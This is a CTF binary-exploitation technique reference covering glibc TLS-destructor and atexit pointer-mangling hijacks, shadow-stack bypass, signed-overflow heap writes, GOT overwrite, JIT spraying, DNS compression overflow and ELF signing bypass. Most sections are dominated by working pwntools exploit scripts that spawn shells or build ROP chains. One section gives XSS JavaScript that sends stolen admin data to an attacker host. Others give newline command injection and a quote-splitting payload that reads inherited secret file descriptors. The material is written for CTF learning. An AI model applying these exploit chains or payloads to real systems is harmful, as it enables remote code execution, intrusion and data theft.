node2 += p64(binsh_addr) # obj = "/bin/sh"
node2 += p64(0) # next = NULL (end of list)Full chain: integer underflow → heap overflow → tcache leak → unsorted bin libc leak → FSOP stdout TLS leak → pointer guard recovery → __call_tls_dtors hijack → setuid(0) + system("/bin/sh").
Key insight: __call_tls_dtors iterates a singly-linked list calling PTR_DEMANGLE(func)(obj) for each entry. Demangling is ror(val, 0x11) ^ pointer_guard. To encode: rol(target ^ pointer_guard, 0x11). The pointer guard lives in TLS at a fixed offset — once leaked via FSOP stdout, the entire list is forgeable.
When to use: Modern glibc (2.34+) where __free_hook/__malloc_hook are removed and FSOP via _IO_wfile_jumps (House of Apple 2) is blocked or constrained. TLS destructor overwrite is an alternative exit-time code execution path.
---
Custom Shadow Stack Bypass via Pointer Overflow (Midnight 2026)
Pattern (Revenant): Binary implements a userland shadow stack in .bss — each function call pushes the return address to both the hardware stack and a shadow_stack[] array, validating them on return. The shadow_stack_ptr index increments on every call but is never bounds-checked, allowing it to overflow past the array into adjacent .bss variables.
Binary protections:
- Full RELRO, NX enabled, PIE disabled (fixed addresses)
- SHSTK and IBT enabled (Intel CET — hardware shadow stack)
- No stack canary
`.bss` memory layout:
0x406000: shadow_stack[512] (512 × 8 = 4096 bytes)
0x407000: username[16] (user-controlled via input)
0x407040: shadow_stack_ptr (index into shadow_stack)
0x407048: shadow_stack_baseExploitation strategy: 1. Trigger controlled recursion (e.g., do_reset() → play() loop) to increment shadow_stack_ptr exactly 512 times 2. After 512 iterations, shadow_stack_ptr points to username (user-controlled buffer) 3. Write the win() address into username via normal input 4. Overflow the stack buffer to overwrite the hardware return address with win() 5. On return, both shadow stack and hardware stack contain win() — validation passes
Exploit code (pwntools):
from pwn import *
exe = ELF('./revenant')
io = process('./revenant')
# Calculate iterations needed to overflow shadow_stack_ptr to username
shadow_stack_addr = exe.symbols["shadow_stack"]
username_addr = exe.symbols["username"]
iterations = (username_addr - shadow_stack_addr) // 8 # 512
# Step 1: Write win() address into username buffer
name = fit(exe.symbols["win"])
# Step 2: Recurse 512 times to advance shadow_stack_ptr to username
for i in range(iterations):
io.sendlineafter(b"Survivor name:\n", name)
io.sendlineafter(b"[0] Flee", b"4") # Trigger do_reset() -> play()
# Step 3: Overflow stack buffer with win() address
padding = 56 # offset to return address (32-byte buf + 24 bytes)
payload = fit({padding: exe.symbols["win"]})
io.sendlineafter(b"(0-255):\n", payload)
io.interactive()Key insight: Userland shadow stack implementations that lack bounds checking on the stack pointer are vulnerable to pointer overflow. By recursing enough times, the validation pointer advances past the shadow stack array into adjacent user-controlled memory (e.g., a username buffer). Writing the desired return address there makes the shadow stack check pass, defeating the protection entirely. The required iteration count is (target_addr - shadow_stack_base) / pointer_size.
Detection pattern: Look for:
.bssarrays used as shadow stacks (paired push/pop with function calls)- Missing bounds check on the index variable
- User-writable
.bssvariables adjacent to (above) the shadow stack array - Recursive function calls controllable from user input
---
Signed Int Overflow to Negative OOB Heap Write + XSS-to-Binary Pwn Bridge (Midnight 2026)
Pattern (Canvas of Fear): Web application wraps a native binary (canvas_manager) behind a Flask API, with admin endpoints restricted to 127.0.0.1. The binary manages "canvases" (heap-allocated pixel arrays) with a pixel SET command that computes a 2D index as y * width + x using a signed 32-bit int. Supplying large y values overflows the multiplication to a negative result, passing the bounds check (index < width * height) while accessing memory before the data buffer — a negative OOB heap write primitive.
Three-layer exploit chain: 1. Stored XSS (Flask |safe Jinja filter) → admin bot executes JS at 127.0.0.1 2. XSS payloads call admin API (Fetch API) → triggers binary commands 3. Integer overflow → heap corruption → libc/stack leak → ROP chain
Heap Primitive: Signed Int Overflow in Index Calculation
The pixel index formula y * width + x wraps in 32-bit signed arithmetic:
# For a 50x50 canvas: (8589934591 * 50 + 42) as int32 = -8
# After ×3 for RGB byte offset: -24 bytes before the data buffer
# This overwrites the canvas struct's height field (preceding the data on heap)
cmd(b'SET 1 42 8589934591 0x340000') # overwrite height: 0x32 → 0x34Key insight: The bounds check index < width * height uses signed comparison, so a negative overflow result always passes. This turns a single pixel SET into a backward OOB write into heap metadata or adjacent chunk headers.
Full Exploitation Chain
from pwn import *
# Step 1: Create canvases — canvas 3 acts as consolidation blocker
cmd(b'CREATE 1 50 50') # large canvas (target for OOB write)
cmd(b'CREATE 2 20 20') # victim (will be freed for unsorted bin leak)
cmd(b'CREATE 3 20 20') # pivot (data pointer will be overwritten)
# Step 2: Free canvas 2 → unsorted bin puts libc pointers on heap
cmd(b'DELETE 2')
# Step 3: Overflow canvas 1's height field (0x32 → 0x34)
cmd(b'SET 1 42 8589934591 0x340000')
# Step 4: Read canvas 1 (now oversized) to leak heap + libc from freed chunk
cmd(b'GET 1')
# Parse RGB output: skip to offset 2507, extract fd/bk pointers
# heap_base = unpack(data[2:10]) << 12
# libc.address = unpack(data[34:42]) - 0x1edcc0
# Step 5: Remove size limit for full OOB write
cmd(b'SET 1 42 8589934591 0xffffff')
# Step 6: Overwrite canvas 3's data pointer → libc.sym['environ']
# Offset 0x2250 bytes from canvas 1's data to canvas 3's pointer field
target = unpack(pack(libc.sym["environ"]), endianness='big')
cmd(f'SET 1 2928 0 {hex((target >> 40) & 0xffffff)}'.encode())
cmd(f'SET 1 2929 0 {hex((target >> 16) & 0xffffff)}'.encode())
# Step 7: Read canvas 3 → reads *environ → stack leak
cmd(b'GET 3')
# main_ret = stack_leak - 0x140
# Step 8: Redirect canvas 3 pointer → main's return address on stack
target = unpack(pack(main_ret), endianness='big')
cmd(f'SET 1 2928 0 {hex((target >> 40) & 0xffffff)}'.encode())
cmd(f'SET 1 2929 0 {hex((target >> 16) & 0xffffff)}'.encode())
# Step 9: Write ROP chain via canvas 3 (3 bytes per pixel = per SET)
pop_rdi = libc.address + 0x2d7a2
ret = libc.address + 0x2c495
binsh = next(libc.search(b'/bin/sh\x00'))
payload = flat({0: [pop_rdi, binsh, ret, libc.sym["system"]]})
for i in range(0, len(payload), 3):
block = unpack(payload[i:i+3][::-1].ljust(8, b'\x00')) & 0xffffff
cmd(f'SET 3 {i//3} 0 0x{block:06x}'.encode())
# Step 10: EXIT triggers main() return → ROP chain executes
cmd(b'EXIT')XSS-to-Binary Pwn Bridge
When the binary is behind a web API with admin-only endpoints:
1. Stored XSS via Flask `|safe`: User messages rendered with {{ msg.content | safe }} bypass Jinja autoescaping. Submit <script type="module">...</script> via the public message endpoint 2. Admin bot visits `/admin/messages` from 127.0.0.1 → XSS executes 3. Multi-stage payloads: Each XSS stage calls admin API endpoints via fetch(), exfiltrates leaks to attacker VPS, then the next stage uses computed addresses:
// Stage 1: trigger heap commands, exfiltrate leak
var res = await fetch("/api/canvas/get/1");
var data = await res.json();
await fetch('http://attacker:5000/', {
method: 'POST', mode: 'no-cors',
body: JSON.stringify({"pixels": btoa(JSON.stringify(data.pixels))})
});4. Newline injection for command stacking: The API uses pwntools.sendline() to forward user input to the binary. Injecting \n in a parameter (e.g., "color": "#000000\nEXIT\n") executes multiple binary commands in one request, bypassing the API's EXIT-then-restart logic:
// Inject EXIT without triggering restart, then run shell commands
body: JSON.stringify({"id": 9, "x": 0, "y": 0, "color": "#000000\nEXIT"})
// Subsequent requests inject shell commands:
body: JSON.stringify({"id": 9, "x": 0, "y": 0, "color": "#000000\n./read_flag"})Key insight: The 3-byte RGB pixel value maps naturally to a 24-bit arbitrary write primitive — each SET writes 3 bytes at a controlled offset. Overwriting a canvas's data pointer (via OOB from another canvas) transforms pixel read/write into full arbitrary read/write. The environ → stack leak → ROP chain pipeline converts this into RCE. When the binary sits behind a web API, XSS bridges the network boundary and newline injection through sendline() enables command stacking.
Detection pattern:
- Index computation using signed int multiplication on user-controlled values
- Bounds check using signed comparison (negative values always pass)
- Adjacent heap allocations where metadata/pointers follow data buffers
- Web API that passes user input directly to
process.sendline()without newline sanitization - Flask templates with
|safefilter on user-controlled content
---
atexit PTR_MANGLE Secret Recovery via Arbitrary Read (0x00CTF 2017)
Pattern: glibc's atexit handlers are protected by PTR_MANGLE, which applies XOR secret + ROT17 to function pointers. With an arbitrary read primitive, recover the mangling secret from a known mangled pointer, then forge arbitrary atexit entries for code execution.
PTR_MANGLE internals:
// glibc pointer mangling:
// mangled = ROL17(ptr ^ secret)
// original = ROR17(mangled) ^ secret
// The secret is stored in TLS at a fixed offset from the thread control block
// (fs:[0x30] on x86-64)Recovering the secret:
from pwn import *
def ror17(val, bits=64):
"""Rotate right by 17"""
return ((val >> 17) | (val << (bits - 17))) & ((1 << bits) - 1)
def rol17(val, bits=64):
"""Rotate left by 17"""
return ((val << 17) | (val >> (bits - 17))) & ((1 << bits) - 1)
# Step 1: Read a mangled pointer from the initial atexit list
# The first entry is typically _dl_fini, registered by the dynamic linker
mangled_ptr = arb_read(atexit_list_addr + FUNC_PTR_OFFSET)
# Step 2: If you know the original function address (e.g., _dl_fini):
secret = ror17(mangled_ptr) ^ known_dl_fini_addr
# Step 3: Forge your own mangled pointer to target function
forged = rol17(target_addr ^ secret)
# Step 4: Overwrite atexit entry with forged pointer
arb_write(atexit_list_addr + FUNC_PTR_OFFSET, forged)
# Normal program exit calls the forged handler → code executionFinding `_dl_fini` remotely (without server's ld.so):
# ld.so is loaded immediately after libc in the address space
# Scan forward from end of libc for the ELF header (4KB-aligned)
ld_base = None
scan_addr = libc_end
while True:
page = arb_read(scan_addr, 4)
if page == b'\x7fELF':
ld_base = scan_addr
break
scan_addr += 0x1000 # 4KB page alignment
# Read ld.so's ELF header to find entry point
ehdr = arb_read(ld_base, 0x40)
e_entry = u64(ehdr[0x18:0x20]) # ELF entry point (offset in file)
# _dl_fini is referenced from ld.so's _start via: lea rdx, [rip+X]
# Read the instruction bytes at the entry point to decode the offset
entry_code = arb_read(ld_base + e_entry, 0x20)
# Parse lea rdx, [rip+X] (opcode: 48 8d 15 XX XX XX XX)
lea_offset = entry_code.index(b'\x48\x8d\x15')
rip_offset = u32(entry_code[lea_offset+3:lea_offset+7])
dl_fini = ld_base + e_entry + lea_offset + 7 + rip_offsetKey insight: glibc's PTR_MANGLE uses XOR secret + ROT17. The secret is stored in TLS at a fixed offset from the thread control block. If you can read ANY mangled pointer whose original value is known (like _dl_fini in the initial atexit list), you can recover the secret and forge arbitrary mangled pointers. The initial atexit list always contains _dl_fini as the first registered handler, making it the ideal known-plaintext target.
When to recognize: Challenge provides an arbitrary read primitive and you need code execution via exit handlers. Also applies to any glibc structure using PTR_MANGLE (TLS destructors, __exit_funcs, longjmp buffers). The same XOR+ROT17 scheme protects all of them with the same per-thread secret.
References: 0x00CTF 2017
CTF Pwn - Advanced Exploit Techniques (Part 3)
Table of Contents
- Stack Variable Overlap / Carry Corruption OOB (srdnlenCTF 2026)
- 1-Byte Overflow via 8-bit Loop Counter (srdnlenCTF 2026)
- Game AI Arithmetic Mean OOB Read (BSidesSF 2024)
- Arbitrary Read/Write to Shell via GOT Overwrite (BSidesSF 2026)
- Stack Leak via __environ and memcpy Overflow (BSidesSF 2026)
- JIT Sandbox Escape via Conditional Jump uint16 Truncation (BSidesSF 2026)
- DNS Compression Pointer Stack Overflow with Multi-Question ROP (BSidesSF 2026)
- ELF Code Signing Bypass via Program Header Manipulation (BSidesSF 2026)
- Game Level Format Signed/Unsigned Coordinate Mismatch (BSidesSF 2026)
- File Descriptor Inheritance via Missing O_CLOEXEC (BSidesSF 2026)
- Sign Extension Integer Underflow in Metadata Parsing (BSidesSF 2026)
- ROP Chain Construction with Read-Only Primitive (BSidesSF 2026)
- 4-Byte Shellcode with Timing Side-Channel via Persistent Registers (Google CTF 2017)
- CRC Oracle as Arbitrary Read Primitive (ASIS CTF 2017)
- UTF-8 Case Conversion Buffer Overflow (HITB CTF 2017)
---
Stack Variable Overlap / Carry Corruption OOB (srdnlenCTF 2026)
Pattern (common_offset): Stack variables share storage due to compiler layout. Carry from arithmetic on one variable corrupts an adjacent variable, enabling OOB access.
Vulnerability: index (byte at [rsp+0x49]) and offset (word at [rsp+0x48]) share storage. Incrementing offset by 255 causes a carry that corrupts index from 3 to 4, producing out-of-bounds table access.
Exploit chain: 1. Set index=0, increment offset by 1 to establish baseline 2. Set index=3, increment offset by 255 → carry corrupts index to 4 3. OOB access on table retrieves saved RIP from stack frame 4. Overwrite RIP to trigger read_stdin again, landing on stack gadget 5. Two-stage ROP: leak puts@GOT, compute libc base, then setcontext for code execution
Key insight: When variables of different sizes are packed adjacent on the stack (e.g., byte immediately after word), arithmetic overflow on the smaller-address variable carries into the larger-address variable. This is subtle in disassembly — look for overlapping [rsp+N] accesses with different operand sizes.
Detection: In disassembly, check if two named variables share partially overlapping stack offsets. For example, a word at rsp+0x48 and a byte at rsp+0x49 — the high byte of the word IS the byte variable.
---
1-Byte Overflow via 8-bit Loop Counter (srdnlenCTF 2026)
Pattern (Echo): Custom read_stdin() uses 8-bit loop counter that wraps around, writing 65 bytes to a 64-byte buffer, overflowing into an adjacent size variable.
Progressive leak technique: 1. Trigger 1-byte overflow to increase buffer size from 0x40 to 0x48 2. With enlarged buffer, read further on stack — leak canary and saved rbp 3. Increase size to 0x77 to leak main's libc return address from stack 4. Compute libc base from leaked return address offset 5. Craft final payload: restore canary, set fake rbp, overwrite RIP with one-gadget
One-gadget constraint setup:
from pwn import *
# Stack layout: buffer[rbp-0x50], size[rbp-0x10], canary[rbp-0x08], rbp, ret
# One-gadget needs NULL at [rbp-0x78] and [rbp-0x60]
buf_addr = leaked_rbp - 0x50 # known from leak
fake_rbp = buf_addr + 0x78
payload = b"\x00" * 8 # [fake_rbp - 0x78] = NULL (constraint)
payload += b"A" * 16
payload += b"\x00" * 8 # [fake_rbp - 0x60] = NULL (constraint)
payload = payload.ljust(64, b"A")
payload += p64(0x48) # preserve enlarged size
payload += p64(canary) # restore canary
payload += p64(fake_rbp) # fake rbp satisfying constraints
payload += p64(one_gadget) # libc one-gadgetKey insight: 8-bit counters in read loops cause off-by-one when the buffer size equals the counter's range (64 → wraps after 64, writes byte 65). The 1-byte overflow into a size field creates a progressive information disclosure primitive: each round leaks more stack data, enabling a full exploit chain from a single-byte overflow.
---
---
Game AI Arithmetic Mean OOB Read (BSidesSF 2024)
When a game computes AI moves as the arithmetic mean of player input and previous state, submitting out-of-bounds coordinates produces a controlled OOB access:
// AI "Smartypants" strategy: average of human and last computer move
ai_move.row = (human_move.row + last_computer.row) / 2;
ai_move.col = (human_move.col + last_computer.col) / 2;
// Bounds validation happens AFTER ai_move is computed and usedSubmit extreme values (e.g., row=100000, col=100000) to make the AI compute (100000 + 0) / 2 = 50001, which reads well past the game board allocation into stack/heap memory.
from pwn import *
# Brute-force memory offset to find flag
for offset in range(-6000, 6000, 100):
r = remote(host, port)
r.sendline(str(offset * 2).encode()) # Row (doubled because AI halves)
r.sendline(b'0') # Col
response = r.recvall()
if b'CTF{' in response:
print(f"Flag at offset {offset}: {response}")
break
r.close()Key insight: Input validation that occurs after variable assignment creates a TOCTOU gap. Even if the game rejects the move, the computed AI position may have already been used to access memory. The arithmetic mean serves as a divide-by-2 primitive — submit 2x the desired OOB offset as player input.
---
---
Arbitrary Read/Write to Shell via GOT Overwrite (BSidesSF 2026)
Pattern (readwriteme): Binary provides explicit arbitrary read and arbitrary write primitives (e.g., "read address" and "write address" menu options). No need for complex heap or format string exploits — just use the primitives directly.
Exploit chain: 1. Leak libc: Read a GOT entry (e.g., strtoll@GOT) to get a libc address 2. Calculate `system`: Compute system address from known libc offset 3. Overwrite GOT: Write system address to strtoll@GOT 4. Trigger shell: Next time the binary calls strtoll(user_input), it executes system(user_input) instead — send sh\n
from pwn import *
elf = ELF('./readwriteme')
libc = ELF('./libc.so.6')
p = remote('target', port)
# Step 1: Leak strtoll@GOT
p.sendlineafter(b'> ', b'read')
p.sendlineafter(b'address: ', hex(elf.got['strtoll']).encode())
strtoll_addr = int(p.recvline().strip(), 16)
libc_base = strtoll_addr - libc.sym['strtoll']
# Step 2: Overwrite strtoll@GOT with system
p.sendlineafter(b'> ', b'write')
p.sendlineafter(b'address: ', hex(elf.got['strtoll']).encode())
p.sendlineafter(b'value: ', hex(libc_base + libc.sym['system']).encode())
# Step 3: Next input parsed by strtoll() → system()
p.sendlineafter(b'> ', b'sh')
p.interactive()Why `strtoll` → `system`: Both take a const char * as first argument. When the binary calls strtoll(user_input, ...), the GOT redirect makes it call system(user_input) — the extra arguments are harmlessly ignored.
Key insight: When a binary gives you arbitrary read + write, the fastest path to shell is GOT overwrite. Choose a GOT entry for a function that (a) takes a user-controlled string as its first argument, and (b) is called after you perform the overwrite. strtoll, atoi, puts, and printf are all good candidates depending on the binary's flow.
References: BSidesSF 2026 "readwriteme"
---
Stack Leak via __environ and memcpy Overflow (BSidesSF 2026)
Pattern (readme): Binary provides an arbitrary read primitive (e.g., memcpy(stack_buf, user_addr, user_len)) but NO write primitive. The memcpy overflow itself becomes the write primitive.
Exploit chain: 1. Leak libc: Use the read primitive on a GOT entry to get a libc address 2. Leak stack: Read __environ from libc (contains a stack pointer to the environment variables) 3. Calculate return address location: From the stack leak, compute where the current function's return address is stored 4. Plant ROP payload: Embed p64(ret_gadget) + p64(target_func) inside the command input buffer (the same buffer that fgets reads into) 5. memcpy overflow: Use the memcpy(stack_buf, controlled_addr, large_len) to copy your planted payload over the return address 6. Trigger return: Send EOF to close stdin, causing fgets to return NULL and the function to exit through the overwritten return address
from pwn import *
elf = ELF('./readme')
libc = ELF('./libc.so.6')
p = remote('target', port)
# Step 1: Leak libc via GOT read
p.sendlineafter(b'> ', f'read {hex(elf.got["puts"])}'.encode())
puts_addr = u64(p.recv(8))
libc_base = puts_addr - libc.sym['puts']
# Step 2: Leak stack via __environ
environ_addr = libc_base + libc.sym['__environ']
p.sendlineafter(b'> ', f'read {hex(environ_addr)}'.encode())
stack_addr = u64(p.recv(8))
# Return address is at known offset from __environ
ret_addr_location = stack_addr - OFFSET_TO_RET # Determine via debugging
# Step 3: Plant ROP addresses in the input buffer
# The command buffer is also on the stack at a known offset
ret_gadget = libc_base + GADGET_OFFSET
win_func = elf.sym['win'] # or one_gadget
payload = p64(ret_gadget) + p64(win_func)
# Step 4: memcpy overflow to copy planted payload over return address
# memcpy(dest=stack_buf, src=our_planted_addr, len=enough_to_reach_ret)
p.sendlineafter(b'> ', f'read {hex(planted_addr)} {overflow_len}'.encode())
# Step 5: EOF triggers return through overwritten address
p.shutdown('send')
p.interactive()Why `__environ`: The global variable __environ in libc always points to the process's environment variable array on the stack. Since it's at a fixed libc offset, leaking libc gives you __environ, which gives you a stack address. From there, the offset to any stack frame's return address is deterministic (found via debugging).
Key insight: When you have only a read primitive, look for ways the read itself can be abused as a write. memcpy with user-controlled length overflows the destination buffer, turning a read into a write. The __environ → stack leak → return address chain is a standard technique when you need to find the stack without an info leak from the binary itself.
References: BSidesSF 2026 "readme"
---
---
JIT Sandbox Escape via Conditional Jump uint16 Truncation (BSidesSF 2026)
Pattern (rugdoctor): A "secure JIT sandbox" compiles a simple scripting language to x86-64 machine code in an RWX buffer. The if statement emits a jz with a 32-bit relative offset, but the offset calculation truncates to 16 bits: (uint16_t)code_offset - (uint16_t)if_address - 4. When the code exceeds 65535 bytes, the truncated offset causes the jump to land inside a future instruction's immediate value.
Exploitation steps: 1. Emit ~9370 add instructions inside an if block with condition $b = 0 (always-false branch) 2. The truncated jz offset lands in the middle of an add instruction's 32-bit immediate value 3. The attacker controls the immediate values — embed 2-byte instruction fragments + jmp $+3 (EB 03) to skip past JIT boilerplate bytes between each add 4. Thread a multi-stage shellcode: mmap RWX memory via syscall → copy full shellcode byte-by-byte → call rbx
# Embed 2-byte instruction pairs in add immediates, interleaved with jmp $+3
shellcode_fragments = [
"\x6a\x00", # push 0 -> rdi = NULL (mmap addr)
"\x5f\x90", # pop rdi / nop
"\x6a\x07", # push 7 -> rdx = PROT_RWX
"\x5a\x90", # pop rdx / nop
"\x0f\x05", # syscall -> mmap
]
# Each fragment becomes: fragment_bytes + \xEB\x03 (jmp $+3)
# Packed as 32-bit add immediate: fragment[0:2] + EB 03
adds = shellcode_fragments.map { |frag| "#{frag}\xeb\x03".unpack('V').pop }
# Write shellcode byte-by-byte via mov [rax], imm8 / jmp $+3
SHELLCODE.bytes.each do |byte|
adds << "\xc6\x00#{byte.chr}\xeb".unpack('V').pop # mov byte ptr [rax], byte
endKey insight: The JIT compiler uses uint16_t for offset calculation even though the code buffer can exceed 64KB. The 16-bit truncation creates a "JIT spray" where the attacker controls instruction bytes at predictable positions within the RWX buffer. The jmp $+3 threading technique chains 2-byte instruction fragments separated by 3 bytes of JIT overhead.
When to recognize: Challenge involves a JIT compiler or scripting engine that compiles to native code. Look for integer truncation in jump/branch offset calculations, RWX memory regions, and user-controlled immediate values in generated instructions.
Broader pattern: JIT spraying attacks embed shellcode fragments in instruction immediates (typically add, xor, or mov constants). The misalignment between intended and actual instruction boundaries turns data into executable code. Common in browser JIT engines and CTF sandbox challenges.
References: BSidesSF 2026 "rugdoctor"
---
DNS Compression Pointer Stack Overflow with Multi-Question ROP (BSidesSF 2026)
Pattern (nameme): Custom DNS server has a stack buffer overflow in domain name parsing. DNS compression pointers (0xC0 | offset) allow jumping to arbitrary positions in the packet, and the parser does not track total decompressed length. Carefully crafted pointer chains revisit data multiple times, overflowing a 1024-byte stack buffer.
DNS compression primer:
- Domain names in DNS packets use label+length encoding:
\x03www\x06google\x03com\x00 - Compression pointers: byte starting with
0xC0means "jump to offset in packet" —\xC0\x0Djumps to byte 13 - Pointers can chain: A → B → C, potentially revisiting the same data
Exploitation: 1. Craft 8 DNS questions with carefully sized names 2. Use compression pointers (\xC0\x0D, \xC0\x0E) to chain between questions 3. Parser revisits data, expanding each compression hop, overflowing the 1024-byte dns_question_t.name buffer 4. ROP chain split across 3 question entries (14+14+13 gadgets) due to per-question size limits 5. ROP executes sys_read → sys_open → sys_read → sys_write; flag path sent as second UDP packet
import struct, socket
def encode_question(name_bytes, qtype=1, qclass=1):
return name_bytes + struct.pack('>HH', qtype, qclass)
# Overflow via compression pointer chains
questions = []
# Questions 1-4: fill buffer with controlled data
# Questions 5-8: use compression pointers to trigger re-expansion
# Final question: \xC0\x0D\x36AAAA...\xC0\x0E triggers overflow
# Build DNS packet: header (QDCOUNT=8) + questions
header = struct.pack('>HHHHHH', 0x1337, 0x0100, 8, 0, 0, 0)
packet = header + b''.join(questions)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(packet, (target, 53535))
# Send flag path in second packet after ROP calls sys_read
sock.sendto(b'/home/ctf/flag.txt\x00', (target, 53535))Key insight: DNS compression was designed for efficiency but creates a decompression amplification vulnerability. If the parser doesn't track total output length, compression pointer chains can expand a small packet into an arbitrarily large decompressed name. The multi-question format allows splitting a large ROP chain across multiple entries while keeping each entry within DNS label size limits.
When to recognize: Challenge involves a custom DNS server (not BIND/dnsmasq). Look for domain name parsing functions with fixed-size output buffers and no length tracking during compression pointer resolution.
References: BSidesSF 2026 "nameme"
---
ELF Code Signing Bypass via Program Header Manipulation (BSidesSF 2026)
Pattern (selfsigned): An ELF signing/verification system hashes only section headers and content of sections with the SHF_ALLOC flag. Program headers (which control what the loader actually maps) are not directly covered by the hash. By appending shellcode to the file and modifying program headers to load from the appended data, the signature remains valid.
ELF structure gap:
- Section headers (
.text,.data, etc.): Used by linkers and RE tools; covered by the hash - Program headers (
LOAD,INTERP, etc.): Used by the OS loader to map memory; NOT covered by the hash - The
e_phofffield in the ELF file header (pointing to program header table) doesn't change if you modify entries in place
Exploitation: 1. Download the signed reference binary from the server 2. Page-align the binary length (pad to 4096-byte boundary) 3. Append shellcode at the padded offset, positioned so it maps to the original entrypoint virtual address 4. Modify the code segment's program header: change p_offset to point to the appended data, update p_filesz/p_memsz 5. Section headers remain unchanged → signature still verifies 6. Upload modified binary; server verifies signature (passes) and executes (runs shellcode)
from elftools.elf.elffile import ELFFile
import struct
def fixup_binary(binary_path, shellcode):
with open(binary_path, 'rb') as f:
elf = ELFFile(f)
data = bytearray(f.read())
entry = elf.header.e_entry
orig_len = len(data)
# Pad to page boundary
page_size = 0x1000
padded_len = (orig_len + page_size - 1) & ~(page_size - 1)
data.extend(b'\x00' * (padded_len - orig_len))
# Write shellcode at offset matching entrypoint alignment
sc_offset = padded_len
data.extend(shellcode)
# Find and modify the LOAD segment containing .text
for seg in elf.iter_segments():
if seg.header.p_type == 'PT_LOAD' and seg.header.p_flags & 0x1: # PF_X
# Rewrite this program header entry
new_phdr = seg.header.copy()
new_phdr['p_offset'] = sc_offset
new_phdr['p_filesz'] = len(shellcode)
new_phdr['p_vaddr'] = entry & ~(page_size - 1)
# Write modified phdr back to its position in the file
# ...
return bytes(data)Key insight: Many code signing implementations only hash section-level metadata (section headers + content), not program headers. Since the OS loader uses program headers (not section headers) to map code into memory, an attacker can redirect code loading to attacker-controlled data without invalidating the signature. This is a real-world design flaw found in some embedded and IoT code signing schemes.
When to recognize: Challenge involves ELF binary signing/verification. Check what the hash covers — if it only processes sections (especially SHF_ALLOC sections), program header manipulation bypasses it.
Broader lesson: Secure ELF signing must cover both section AND program headers, or better yet, hash the entire file. Section headers are optional at runtime — a valid ELF can execute with zero sections. Any signing scheme that relies solely on sections is bypassable.
References: BSidesSF 2026 "selfsigned"
---
Game Level Format Signed/Unsigned Coordinate Mismatch (BSidesSF 2026)
Pattern (blockman-builder): A 2D platformer game uses a level editor that parses block placement instructions with signed integer coordinates. The bounds check compares signed values against unsigned dimensions (if (x1 < level_width && y1 < WORLD_H)) — when x1 is negative, the signed-to-unsigned comparison passes because a large unsigned value is less than the unsigned width. This allows writing arbitrary bytes (block IDs) to memory before the level array.
Exploitation steps: 1. Extract source code from binary (embedded in a custom ELF section, found via strings) 2. Enable developer mode (hidden konami-code input sequence) to leak level data stack address 3. Craft level with shellcode bytes encoded as block IDs placed at legitimate positive coordinates 4. Use negative coordinates to overwrite the return address on the stack, pointing to the shellcode in level data 5. Level data is base64+zlib encoded; use pack/unpack scripts
import struct, zlib, base64
# Level format: "clear\n{width}\n{n_entities}\n{entities...}\n{n_blocks}\n{blocks...}"
shellcode = open("shellcode.bin", "rb").read()
leaked_addr = 0x7ffd3de47d70 # From developer mode leak
level_base = leaked_addr # Level data is on the stack
# Place shellcode bytes as block IDs at positive coordinates
lines = ["clear", "128", "0", "0"] # width=128, 0 entities, 0 initial blocks
block_lines = []
# Write shellcode to level array at known offset
for i, byte in enumerate(shellcode):
x = i % 128
y = i // 128
block_lines.append(f"{byte},{x},{y}")
# Overwrite return address with negative Y coordinate
ret_offset = -(0x100) # Offset from level array to saved RIP
# 6-number format: block_id, x1, y1, x2, y2 (rectangle fill)
for i, byte in enumerate(struct.pack("<Q", level_base)):
block_lines.append(f"{byte},{i},{ret_offset}")
lines[3] = str(len(block_lines))
level_data = "\n".join(lines + block_lines)
encoded = base64.b64encode(zlib.compress(level_data.encode())).decode()Key insight: Game level formats that accept coordinates as signed integers but use unsigned comparisons for bounds checking create a classic signed/unsigned confusion vulnerability. The negative coordinate underflows the array index, providing an arbitrary write primitive. Combined with a leaked stack address (from debug/developer features), this turns into reliable code execution.
When to recognize: Custom game/level editors with user-defined coordinates, tile-map formats, or any array-indexed data where coordinates are parsed as signed but compared as unsigned. Developer/debug modes that leak memory addresses are a strong hint.
References: BSidesSF 2026 "blockman-builder"
---
File Descriptor Inheritance via Missing O_CLOEXEC (BSidesSF 2026)
Pattern (inheritance): A service reads a secret into a file descriptor created with memfd_create("secret", 0) (without MFD_CLOEXEC), then calls system() to execute user-supplied commands. The system() function spawns a child process via fork()+exec(), and the child inherits all open file descriptors that lack the O_CLOEXEC flag.
The service blocks certain strings ("proc", "fd", ">", "<") to prevent reading /proc/self/fd/N. Bypass using shell quote insertion: cat /p'r'oc/self/f'd'/4 — the single quotes are transparent to bash but break C-level strstr() checks.
from pwn import *
r = remote("target", 1337)
# Service prints "Loaded config into fd 4" or similar
r.recvuntil(b"fd ")
fd_num = int(r.recvline().strip())
# Bypass strstr() filter with shell quote breaking
# "proc" and "fd" are blocked, but p'r'oc and f'd' are not
payload = f"cat /p'r'oc/self/f'd'/{fd_num}"
r.sendline(payload.encode())
flag = r.recvall()
print(flag.decode())Key insight: memfd_create() without MFD_CLOEXEC (or open() without O_CLOEXEC) leaves file descriptors inheritable across fork()+exec(). Any service that reads secrets into FDs and then spawns child processes is vulnerable. The /proc/self/fd/N path provides access to inherited descriptors. For filter bypass: shell quote splitting (p'r'oc) breaks substring matching in C but bash concatenates the fragments transparently.
When to recognize: Service reads a secret file, then lets you run commands (via system(), popen(), etc.). Check if the FD was opened with O_CLOEXEC. Look for string filters that block keywords — single-quote splitting, backslash escaping (\p\r\o\c), or variable expansion (${PATH:0:1}) can bypass strstr().
References: BSidesSF 2026 "inheritance"
---
Sign Extension Integer Underflow in Metadata Parsing (BSidesSF 2026)
Pattern (if-it-leads): A music metadata parser has a to_int32 function that converts unsigned 32-bit values to signed: n >= 0x80000000 ? n - 0x100000000 : n. When applied to a size/offset field, a large unsigned value becomes a large negative signed integer, causing out-of-bounds memory access during processing. Byte-by-byte iteration reveals memory contents.
from pwn import *
import re
flag = b""
for i in range(64):
# Construct metadata with field value that causes OOB read at offset i
target_val = 0x80000000 + i # Becomes negative after to_int32
payload = craft_metadata(target_val)
r = process(["./parser", payload])
output = r.recvall()
# Extract leaked byte from hexdump or error output
leaked = extract_byte(output)
flag += bytes([leaked])
if b"}" in flag:
break
print(flag.decode())Key insight: Custom to_int32() or manual sign extension functions are a red flag. The conversion n >= 0x80000000 ? n - 0x100000000 : n makes values in [0x80000000, 0xFFFFFFFF] negative, but subsequent code may use the result as an array index or memory offset without re-checking bounds. Incrementally varying the input value leaks memory one byte at a time.
